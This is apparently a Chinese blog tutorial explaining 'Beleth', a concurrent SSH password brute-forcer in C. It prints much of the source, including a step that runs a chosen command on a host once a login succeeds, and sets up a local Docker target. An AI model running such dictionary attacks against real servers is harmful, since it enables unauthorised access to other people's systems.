并发SSH口令审计器:多进程协作的安全检测工具设计与原理(C/C++代码实现)

平时做内网安全巡检、服务器日常运维自查的时候,最头疼的就是挨个手动登录服务器检查弱口令,一台一台试账号密码效率极低,遇上几十上百台内网机器根本忙不过来。今天就借着这套纯 C 语言写的开源审计源码,从头到尾唠明白这种SSH 批量密码检测工具到底是怎么写出来的,底层逻辑怎么走,用到哪些系统编程知识、网络协议知识,还有实际运行起来整套流程。


一、先说说这玩意儿到底解决了什么问题

假设你是一名运维工程师,公司里有几十台Linux服务器,你想知道有多少台还在用root/123456这种弱口令。手动一台台登录试?太慢。写个脚本循环读取字典文件逐个试?还是慢,而且前一个密码连接超时了,后一个只能干等着。

核心痛点就两个:慢,和任务分配乱。

所以需要一个能"同时开十几个、几十个连接一起试"的工具,而且得有一个"大脑"来统一分配密码------这个试过了给那个,试完了的及时收工,谁试成功了马上通知大家下班。这就是并发SSH口令审计器要解决的事。

二、整体架构:一个"中央厨房"加一群"外卖骑手"

别看代码几百行,架构其实特别像外卖平台:

  • 中央厨房(任务调度器):手里攥着一本密码本(一个链表),通过对讲机(UNIX Socket)给骑手发订单(密码)。
  • 外卖骑手(工作进程):每个骑手只负责敲一家门(目标SSH服务器),拿到密码就去试钥匙。
  • 对讲机系统:骑手喊"我要新密码",厨房翻一页密码本念给他听;如果密码本翻完了,厨房说"没单了,下班吧"。

为什么要这么设计? 因为密码尝试是"CPU等网络"的典型场景------发一个密码过去,服务器要思考几百毫秒才回你对错。这段时间与其让程序傻等,不如让其他进程去试别的密码。但多个进程如果都去读同一个文件,容易乱套,所以必须有一个"中央厨房"统一派单。


三、代码核心模块拆解(大白话版)

1. 先把密码本串成一根绳(read_wordlist

程序启动后,第一件事是把字典文件(比如wordlist.txt)里的每一行读出来,串成一个单向链表。就像把一摞写着密码的纸条,每张右下角粘上下一张,连成一根可以顺藤摸瓜的绳子。这样做的好处是调度器可以"一张一张往下抽",不需要关心前面试过了多少。

2. 搭建内部对讲机(listen_sock / connect_sock

工作进程和调度器之间要说话,用的是UNIX域套接字 (Unix Domain Socket),本质上是在硬盘上创建一个.sock文件,双方通过这个文件描述符传数据。

  • 为什么不用网络Socket?因为调度器和工作进程都在同一台机器上,走网卡反而绕远路。UNIX Socket直接走内核内存拷贝,速度快得多。
  • 为什么不用管道(Pipe)?因为Socket支持select同时监视多个连接,而且方便以后改成网络版(比如分布式审计)。

调度器端先socket创建、bind绑定到.sock文件、listen监听;工作端启动后connect连上去。每个工作进程都有自己独立的连接,互不干扰。

3. 中央厨房的大脑(init_pw_tasker

这是整个程序最精密的部位。调度器进程用select()这个老牌的I/O多路复用函数,同时盯着所有工作进程的Socket连接。

它的工作逻辑就像一个不断循环的客服接线员:

  • 收到 "REQ_PW"(请求密码):从链表里取下一张密码纸条发过去。如果链表空了,就回一个"NO_PW",并且在本子上记一笔:又有一个工人可以下班了。
  • 收到 "FND_PW"(找到密码):立刻标记"已破案",同时减少活跃工人数量(因为成功的这个工人已经完成任务,不需要再试其他密码了)。
  • 所有工人都下班了 :关闭Socket文件,删掉.sock,释放链表内存,优雅退出。

这里用select而不是多线程,是因为调度器本身逻辑简单,就是"读请求、发密码",单线程加select足够应付上百个连接,而且避免了线程同步的锁问题。

4. 外卖骑手怎么敲门(crack_thread

每个工作进程(虽然函数名叫thread,但代码里是用fork创建的进程)的循环特别像工厂流水线:

  1. 连接SSH服务器 :调用session_init建立TCP连接,初始化libssh2会话。如果失败了(比如网络闪了一下),不是直接报错,而是清理现场、睡400微秒、重连。这个设计很接地气------SSH服务器往往有连接频率限制,或者网络偶尔抽风,直接重试比直接死掉更靠谱。
  2. 要密码 :通过对讲机向调度器发送一个字节REQ_PW,然后阻塞读取回复。
  3. 试钥匙 :调用libssh2_userauth_password,把用户名和刚拿到的密码塞进去。
  4. 判断结果
    • 密码错了(LIBSSH2_ERROR_AUTHENTICATION_FAILED:没事,继续要下一个密码。
    • 其他错误(比如连接断了):重新建立SSH会话,重连服务器,再试。
    • 密码对了 :打印成功信息,执行预设命令(默认是uname -a && id),然后给调度器发一个FND_PW,自己光荣退休。

5. 总指挥(main函数)

main函数就像公司老板,负责招人和定规矩:

  • 解析命令行:目标IP(-t)、端口(-p)、用户名(-u)、字典(-w)、线程数(-l)、成功后执行的命令(-c)。
  • 初始化libssh2库(这是SSH协议的底层实现库)。
  • 加载密码字典。
  • 创建UNIX Socket
  • fork出调度器进程 (这个进程专门跑init_pw_tasker)。
  • fork出N个工作进程 (循环创建,每个都有自己的上下文结构体t_ctx)。
  • 最后老板自己也不闲着,调用waitpid等着调度器收工,然后做全局清理。

四、程序运行流程原理图

c 复制代码
struct t_ctx
{
	int sock;				
	int fd;					
	int port;
	char host[21];
	LIBSSH2_SESSION *session;
};

struct t_ctx *t_current;


struct pw_list
{
    char pw[MAX_PW_LENGTH];
    struct pw_list *next;
};

struct pw_list *pw_head;
struct pw_list *pw_tail;

int init_thread_ctx(char *host, int port, struct t_ctx *ptr);


int init_pw_list(char *pw);
int add_pw_list(char *pw);
void destroy_pw_list(void);

int waitsocket(int socket_fd, LIBSSH2_SESSION *session);
void session_cleanup(int sock, LIBSSH2_SESSION *session);
int session_init(char *host, int port, LIBSSH2_SESSION *session);
int drop_payload(int sock, LIBSSH2_SESSION *session, char *cmdline);
...

int read_wordlist(char *path) {
	FILE *wordlist;
	char line[256];
	int cnt = 0;

	wordlist = fopen(path,"r");
	if (wordlist == NULL) {
		fprintf(stderr,"[!] Unable to open file %s\n",path);
		return -1;
	}

	while (fgets(line,sizeof(line)-1, wordlist) != NULL) {
			++cnt;
			line[strlen(line)-1] = '\0'; 
			add_pw_list(line);
	}

	fprintf(stdout, "[*] Read %d passwords from file.\n",cnt);

	fclose(wordlist);
	return 1;
}

void print_help(char *cmd) {
	fprintf(stderr,"Usage: %s [OPTIONS]\n",cmd);
	fprintf(stderr,"\t-c [payload]\tExecute payload on remote server once logged in\n");
	fprintf(stderr,"\t-h\t\tDisplay this help\n");
	fprintf(stderr,"\t-l [threads]\tLimit threads to given number. Default: 10\n");
	fprintf(stderr,"\t-p [port]\tSpecify remote port\n");
	fprintf(stderr,"\t-P [password]\tUse single password attempt\n");
	fprintf(stderr,"\t-t [target]\tAttempt connections to this server\n");
	fprintf(stderr,"\t-u [user]\tAttempt connection using this username\n");
	fprintf(stderr,"\t-v\t\t-v (Show attempts) -vv (Show debugging)\n");
	fprintf(stderr,"\t-w [wordlist]\tUse this wordlist. Defaults to wordlist.txt\n");
}

/* Display banner */
void print_banner()
{
	int i;
	int with = 40;
	struct printTextFormat utf8format = {
		"\342\224\214", /* ┌ */
		"\342\224\220", /*  ┐*/
		"\342\224\224", /*└  */
		"\342\224\230", /* ┘ */
		"\342\224\200", /* ─ */
		"\342\224\202"  /* │ */
	};

	printf("\e[32m\e[40m");
	printf("%s", utf8format.tlc);
	for (i = 0; i < with; ++i)
		printf("%s", utf8format.hrb);
	printf("%s\n", utf8format.trc);

	printf("%s", utf8format.vrb);
	printf("                 Beleth                 ");
	printf("%s\n", utf8format.vrb);

	printf("%s", utf8format.vrb);
	printf("          www.chokepoint.net            ");
	printf("%s\n", utf8format.vrb);

	printf("%s", utf8format.blc);
	for (i = 0; i < with; ++i)
		printf("%s", utf8format.hrb);
	printf("%s", utf8format.brc);
	printf("\e[0m\n");
}

void crack_thread(struct t_ctx *c_thread) {
	char buf[256];
	int rc;

	if (verbose >= VERBOSE_DEBUG)
		fprintf(stderr, "[*] (%d) Connecting to: %s:%d\n",getpid(),c_thread->host,c_thread->port);


	while ((c_thread->sock = session_init(c_thread->host,c_thread->port,c_thread->session)) == -1) {
		if (verbose >= VERBOSE_DEBUG)
			fprintf(stderr,"[!] Unable to connect to %s:%d\n",c_thread->host,c_thread->port);
		session_cleanup(c_thread->sock, c_thread->session);
		c_thread->session = libssh2_session_init();

		usleep(sleep_timeout);
	}

	while (1) {
		memset(buf,0x00,sizeof(buf));
		snprintf(buf, sizeof(buf)-1,"%c",REQ_PW);
		write(c_thread->fd, buf, strlen(buf));
		rc = read(c_thread->fd, buf, sizeof(buf)-1);
		if (rc == -1) {
			if (verbose >= VERBOSE_DEBUG)
				fprintf(stderr, "[!] Error reading from UNIX sock\n");
			return;
		}
		if (buf[0] == NO_PW) { 
			session_cleanup(c_thread->sock, c_thread->session);
			exit(0);
		}

		if (verbose >= VERBOSE_ATTEMPTS)
			fprintf(stderr,"[+] (%d) Trying %s %s\n",getpid(),username,buf);
		if ((rc=libssh2_userauth_password(c_thread->session, username, buf))) {
			if (rc != LIBSSH2_ERROR_AUTHENTICATION_FAILED) {
					session_cleanup(c_thread->sock, c_thread->session);
					c_thread->session = libssh2_session_init();

					while ( (c_thread->sock = session_init(c_thread->host,c_thread->port, c_thread->session)) == -1) {
						if (verbose >= VERBOSE_DEBUG)
							fprintf(stderr, "[!] Unable to reconnect to %s:%d\n",c_thread->host,c_thread->port);
						session_cleanup(c_thread->sock,c_thread->session);
						c_thread->session = libssh2_session_init();
						usleep(sleep_timeout);
					}
			}
		} else {
			printf("[*] Authentication succeeded (%s:%s@%s:%d)\n",username, buf, c_thread->host, c_thread->port);
			printf("[*] Executing: %s\n",cmdline);
			if (drop_payload(c_thread->sock,c_thread->session,(char *)cmdline) == -1) {
				if (verbose >= VERBOSE_DEBUG)
					fprintf(stderr, "Error executing command.\n");
			}
			buf[0] = FND_PW;
			buf[1] = '\0';
			write(c_thread->fd,buf,strlen(buf));
			return;
		}
	}
}


int listen_sock(int backlog) {
	struct sockaddr_un addr;
	int fd,optval=1;

	if ((fd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
		if (verbose >= VERBOSE_DEBUG)
			fprintf(stderr, "[!] Error setting up UNIX socket\n");
		return -1;
	}

	fcntl(fd, F_SETFL, O_NONBLOCK); /* Set socket to non blocking */
	setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(int));

	memset(&addr,0x00,sizeof(addr));
	addr.sun_family = AF_UNIX;
	strncpy(addr.sun_path, sock_file, sizeof(addr.sun_path)-1);

	unlink(sock_file);

	if (bind(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
		if (verbose >= VERBOSE_DEBUG)
			fprintf(stderr, "[!] Error binding to UNIX socket\n");
		return -1;
	}

	if (listen(fd, backlog) == -1) {
		if (verbose >= VERBOSE_DEBUG)
			fprintf(stderr, "[!] Error listening to UNIX socket\n");
		return -1;
	}

	return fd;
}


int connect_sock(void) {
	int fd;
	struct sockaddr_un addr;

	if ((fd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
		if (verbose >= VERBOSE_DEBUG)
			fprintf(stderr, "[!] Error creating UNIX socket\n");
		return -1;
	}

	memset(&addr,0x00,sizeof(addr));
	addr.sun_family = AF_UNIX;
	strncpy(addr.sun_path, sock_file, sizeof(addr.sun_path)-1);

	if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
		if (verbose >= VERBOSE_DEBUG)
			fprintf(stderr, "[!] Error connecting to UNIX socket\n");
		return -1;
	}
	return fd;
}


void init_pw_tasker(int unix_fd, int threads) {
...

	FD_ZERO(&master);
	FD_SET(unix_fd,&master);

	while(1) {
		readfds = master;
		i = select(fdmax+1,&readfds,NULL,NULL,NULL);
		if (i > 0) {
			char buf[256];
			memset(buf,0x00, sizeof(buf));
			for (rc = 0; rc <= fdmax; ++rc) {
				if (FD_ISSET(rc, &readfds)) {
					if (rc == unix_fd && (newfd = accept(unix_fd,NULL,NULL)) != -1) {
						if (newfd > fdmax)
							fdmax = newfd;
						FD_SET(newfd,&master);
						continue;
					}

					read(rc, buf, sizeof(buf)-1);
					switch(buf[0]) {
						case REQ_PW:
							if (current_pw == NULL) {
								buf[0] = NO_PW;
								buf[1] = '\0';
								write(rc,buf,strlen(buf));
								++child_count;
								if (verbose >= VERBOSE_DEBUG)
									fprintf(stderr,"Killing child muahaha: %d / %d\n",child_count,threads);
								if (child_count == 1) 
									printf("[*] Cleaning up child processes.\n");
								if (child_count == threads) {
									close(unix_fd);
									unlink(sock_file);
									destroy_pw_list();
									if (auth == 0)
										printf("[!] No password matches found.\n");
									exit(0);
								}
							} else {
								write(rc, current_pw->pw, strlen(current_pw->pw));
								current_pw = current_pw->next;
							}
							break;
						case FND_PW:
							current_pw = NULL;
							--threads;
							auth=1;
							break;
						default:
							break;
					}
				}
			}
		}
	}
}

int main(int argc, char *argv[]) {
...
	
	char host[21] = "127.0.0.1", str_wordlist[256] = "wordlist.txt";
	pid_t pid, task_pid;

	verbose = 0;
	rc = libssh2_init (0);

	if (rc != 0) {
		fprintf (stderr, "[!] libssh2 initialization failed (%d)\n", rc);
		return 1;
	}

	if (argc > 1) {
		while ((c_opt = getopt(argc, argv, "hvp:t:u:w:c:l:P:")) != -1) {
			switch(c_opt) {
					case 'h':
						print_help(argv[0]);
						exit(0);
						break;
					case 'v':
						++verbose;
						break;
					case 'p':
						remote_port = atoi(optarg);
						if (remote_port <= 0) {
							fprintf(stderr, "[!] Must enter valid integer for port\n");
							exit(1);
						}
						break;
					case 't':
						strncpy(host,optarg,sizeof(host)-1);
						break;
					case 'u':
						strncpy(username,optarg,sizeof(username)-1);
						break;
					case 'w':
						strncpy(str_wordlist,optarg,sizeof(str_wordlist)-1);
						break;
					case 'c':
						strncpy(cmdline,optarg,sizeof(cmdline)-1);
						break;
					case 'l':
						threads = atoi(optarg);
						if (threads <= 0 || threads >= 100) {
							fprintf(stderr, "[!] Thread limit must be between 1 and 99\n");
							exit(1);
						}
						break;
					case 'P':
						threads = single_pw = 1;
						add_pw_list(optarg);
						break;
					default:
						fprintf(stderr, "[!] Invalid option %c\n",c_opt);
						exit(1);
			}
		}
	} else {
		print_help(argv[0]);
		exit(1);
	}


	print_banner();

	if (!single_pw) {
		if (read_wordlist(str_wordlist) == -1)
			return 1;
	} else {
		printf("[*] Loaded one password\n");
	}
	
	printf("[*] Starting task manager\n");

	if ((unix_fd = listen_sock(threads)) == -1) {
		destroy_pw_list();
		exit(1);
	}

	pid = fork();
	if (pid < 0) {
		fprintf(stderr, "[!] Couldn't fork!\n");
		destroy_pw_list();
		exit(1);
	} else if (pid == 0) { 
		init_pw_tasker(unix_fd, threads	);
	} else {
		task_pid = pid;
	}

	printf("[*] Spawning %d threads\n",threads);
	printf("[*] Starting attack on %s@%s:%d\n",username,host,remote_port);

	for (i = 0; i < threads; ++i) {
		struct t_ctx *ptr = (struct t_ctx*)malloc(sizeof(struct t_ctx));

		init_thread_ctx(host, remote_port, ptr);
		pid = fork();
		if (pid < 0) {
			fprintf(stderr, "[!] Couldn't fork!\n");
			destroy_pw_list();
			exit(1);
		} else if (pid == 0)  {				
			crack_thread(t_current);

			if (ptr != NULL)
				free(ptr);
		} else {
			if (ptr != NULL)
				free(ptr);
		}
	}

	int status; 
	waitpid(task_pid, &status, 0);


	destroy_pw_list();
	libssh2_exit();
	return 0;
}

流程图:

复制代码
[程序启动]
     │
     ▼
[读取密码字典文件] ──────► 生成密码链表(password1 -> password2 -> ...)
     │
     ▼
[创建 UNIX Socket 文件 beleth.sock]
     │
     ├──────────────────────────┐
     ▼                          ▼
[ fork 调度器进程 ]          [ fork 工作进程1 ] ... [ fork 工作进程N ]
(跑 init_pw_tasker)          (跑 crack_thread)    (跑 crack_thread)
     │                          │                    │
     │                          ▼                    ▼
     │                    [连接目标SSH:22]      [连接目标SSH:22]
     │                          │                    │
     │                          ▼                    ▼
     │                    [Socket写: REQ_PW]   [Socket写: REQ_PW]
     │                          │                    │
     ▼                          ▼                    ▼
[select()阻塞监听] ◄──────── 发 password1       发 password2
     │                          │                    │
     │                          ▼                    ▼
     │                    [libssh2尝试登录]      [libssh2尝试登录]
     │                          │                    │
     │              ┌───────────┴───────────┐        │
     │              ▼                       ▼        ▼
     │        [密码错误]               [连接断开]  [密码错误]
     │            │                       │          │
     │            ▼                       ▼          ▼
     │      [再要新密码]             [重连服务器]  [再要新密码]
     │            │                       │          │
     │            └───────────┬───────────┘          │
     │                        ▼                      │
     │                  [密码正确!]                  │
     │                        │                      │
     │                        ▼                      │
     │              [执行命令: uname -a && id]       │
     │                        │                      │
     │                        ▼                      │
     │              [Socket写: FND_PW]                │
     ▼                        │                      │
[收到成功信号] ◄─────────────┘                      │
     │                                               │
     ▼                                               ▼
[等所有工人收到 NO_PW 下班]                    [收到 NO_PW,退出进程]
     │
     ▼
[销毁密码链表] ──► [删除 .sock 文件] ──► [libssh2_exit] ──► [程序结束]

If you need the complete source code, please add the WeChat number (c17865354792)

五、涉及的知识点与设计领域总结

这个看似不大的工具,其实横跨了好几个技术领域。我帮你梳理成一张知识地图:

1. 网络安全与渗透测试领域

  • 字典攻击(Dictionary Attack):不同于无脑穷举所有字符组合,字典攻击基于"人类习惯用常见密码"的假设,用预置列表高效尝试。这是安全审计中最基础的弱口令检测手段。
  • SSH协议与认证机制:基于口令的交互式认证,libssh2库完整封装了SSH2协议的握手、密钥交换、加密通道建立等复杂流程。
  • 授权审计边界 :此类工具的核心价值在于自有资产的合规检查,而非非法入侵。这是区分安全工具与恶意软件的唯一标准。

2. Unix/Linux系统编程领域

  • 进程控制(fork) :代码中大量使用fork()创建子进程。虽然变量名和注释里习惯叫"thread",但C语言环境下这是地道的多进程架构。多进程的优势在于隔离性强------一个进程崩溃或被目标服务器拉黑,不影响其他进程继续工作。
  • 进程间通信(IPC) :UNIX域套接字(AF_UNIX)是本机进程通信的经典方案,数据不经过网卡协议栈,延迟极低。
  • I/O多路复用(select) :调度器单线程同时监视几十个Socket的可读状态。这是Unix编程的"老三板斧"之一,虽然如今有epoll/kqueue等更高效的后继者,但select的跨平台兼容性最好。

3. 网络编程与协议领域

  • Socket生命周期 :创建(socket)、绑定(bind)、监听(listen)、接受(accept)、读写(read/write)、关闭(close/unlink),完整展示了流式Socket编程的全流程。
  • 非阻塞I/O(fcntl + O_NONBLOCK :调度器的监听Socket被设为非阻塞,配合select使用,避免在accept时卡住。
  • 地址复用(SO_REUSEADDR:虽然对UNIX Socket意义不大,但体现了网络编程中"快速重启不报错"的防御性编程习惯。

4. 数据结构与设计模式领域

  • 单向链表:密码存储采用动态链表,支持运行时无限扩展(只受内存限制),且顺序遍历天然适合"发一个、挪一步"的调度逻辑。
  • 生产者-消费者模式:调度器是密码生产者,工作进程是消费者,UNIX Socket连接是它们之间的有界缓冲区。
  • Master-Worker(主从)架构:调度器为Master,工作进程为Worker,这是分布式计算和高并发服务中最通用的架构模式之一。

5. 健壮性设计领域

  • 重连与退避机制usleep(sleep_timeout)提供了400微秒的微小延迟,在连接失败时既不会疯狂重连打爆目标,又能快速恢复。
  • 优雅退出 :所有退出路径都包含destroy_pw_list()unlink(sock_file)libssh2_exit(),防止内存泄漏和残留文件污染系统。
  • 边界检查strncpysizeof(buf)-1等用法体现了C语言中防止缓冲区溢出的基本安全意识。

六、准备测试环境和运行测试

绝对不要拿别人的服务器测试。 建议在本机搭一个"靶子":

方法A:用 Docker 快速起一个带弱口令的SSH服务
bash 复制代码
# 拉一个精简Linux镜像,安装openssh-server
docker run -d --name ssh-target \
    -p 2222:22 \
    alpine:latest \
    sh -c "apk add openssh-server shadow bash && \
           echo 'root:123456' | chpasswd && \
           ssh-keygen -A && \
           /usr/sbin/sshd -D"

# 测试连接
ssh -p 2222 root@127.0.0.1
# 输入密码 123456,确认能登录
方法B:用本地虚拟机或WSL

如果你本地已经有 Ubuntu/Debian 虚拟机,确保 openssh-server 在跑,并且你知道一个弱密码账户(或者临时创建一个测试账户)。


准备字典文件

创建一个 wordlist.txt,里面放几个密码,确保包含你靶机上实际存在的那个密码

bash 复制代码
cat > wordlist.txt << 'EOF'
admin
password
123456
root
jesus
test
EOF

运行测试
bash 复制代码
./beleth -t 127.0.0.1 -p 2222 -u root -w wordlist.txt -l 4 -v

参数解释:

  • -t 127.0.0.1:目标IP
  • -p 2222:SSH端口(Docker映射的端口)
  • -u root:尝试的用户名
  • -w wordlist.txt:密码字典
  • -l 4:开4个并发进程
  • -v:显示每次尝试(再加一个 -v-vv 会显示调试信息)

预期输出:

复制代码
[*] Read 6 passwords from file.
[*] Starting task manager
[*] Spawning 4 threads
[*] Starting attack on root@127.0.0.1:2222
[+] (12345) Trying root 123456
[*] Authentication succeeded (root:123456@127.0.0.1:2222)
[*] Executing: uname -a && id
[*] Cleaning up child processes.

总结

这段代码是典型的"小而全"的Unix网络工具范本。它没有用什么高大上的框架,就靠forkselectsocketlibssh2这几个系统调用和库函数,搭出了一个能跑、能扩展、不容易崩的并发程序。

读懂它,你收获的不只是一个SSH审计器的原理,而是Unix环境下"多进程 + IPC + I/O复用"这套经典组合拳的实战打法。这套打法从90年代用到现在,Nginx的Worker进程、Redis的持久化子进程、各种扫描器的并发引擎,骨子里都是类似的逻辑。

Welcome to follow WeChat official account【程序猿编码

相关推荐
YIN_尹1 小时前
关于论文《FLUSH+RELOAD:一种高分辨率、低噪声的L3缓存侧信道攻击》的理解
安全·缓存·系统安全·缓存侧信道攻击
云游牧者1 小时前
K8S安全框架深度解析-从认证到RBAC实战完全指南
安全·容器·kubernetes·rbac·kubeconfig·rolebinding
bnmoel2 小时前
数据结构深度剖析栈与队列:结构、边界实现与进出操作全解析
c语言·数据结构·算法··队列
六月雨滴2 小时前
Oracle 数据库网络安全
数据库·安全·dba
xiaoxue..2 小时前
详解:XSS 攻击和 CSRF 攻击
安全·面试·xss·csrf
闵孚龙2 小时前
Claude Code Hooks 用户自定义拦截点全解析:AI Agent 自动化、安全治理、插件扩展、可观测性核心机制
人工智能·安全·自动化
yoyo_zzm2 小时前
六大编程语言核心差异全解析
c语言·c++·spring boot·php
liu****2 小时前
第16届国赛蓝桥杯大赛C/C++大学C组
c语言·数据结构·c++·算法·蓝桥杯
码完就睡2 小时前
C语言——结构体的内存存储规则
c语言·开发语言